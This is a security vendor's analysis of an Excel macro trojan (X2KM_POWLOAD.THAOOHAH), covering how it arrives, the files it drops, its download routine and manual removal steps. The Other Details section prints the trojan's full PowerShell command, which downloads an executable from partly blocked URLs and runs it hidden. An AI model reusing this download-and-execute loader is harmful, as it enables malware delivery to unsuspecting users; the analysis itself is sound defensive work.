Analysis by: Kiyoshi Obuchi
ALIASES:

Trojan:Win32/Sonoko.A!ms (Microsoft); W97M/Dropper.da (McAfee)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet, Spammed via email

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 50,688 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 03 Oct 2018
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops and executes the following files:

  • %User Temp%\ticket.bat -> runs a powershell script

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}ustries.com/share.bigfiles
  • http://{BLOCKED}a.com/share.bigfiles

It saves the files it downloads using the following names:

  • %User Temp%\of.exe -> download and run

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Other Details

This Trojan does the following:

  • The trojan executes the following commands to run a powershell script to download and executes a file:
    • cmd /c powershell "'powershell ""function under([string] $q){(new-object system.net.webclient).downloadfile($q,''%tmp%\of.exe'');start-process ''%tmp%\of.exe'';}try{under(''http://{BLOCKED}ustries.com/share.bigfiles'')}catch{under(''http://{BLOCKED}a.com/share.bigfiles'')}'"" | out-file -encoding ascii -filepath %tmp%\ticket.bat; start-process '%tmp%\ticket.bat' -windowstyle hidden"
  • The Microsoft Excel file contains the following fake details luring users to enable macro content:

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.552.02
FIRST VSAPI PATTERN DATE: 08 Oct 2018
VSAPI OPR PATTERN File: 14.553.00
VSAPI OPR PATTERN Date: 09 Oct 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as X2KM_POWLOAD.THAOOHAH

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp%\of.exe
  • %User Temp%\ticket.bat

Step 5

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.THAOOHAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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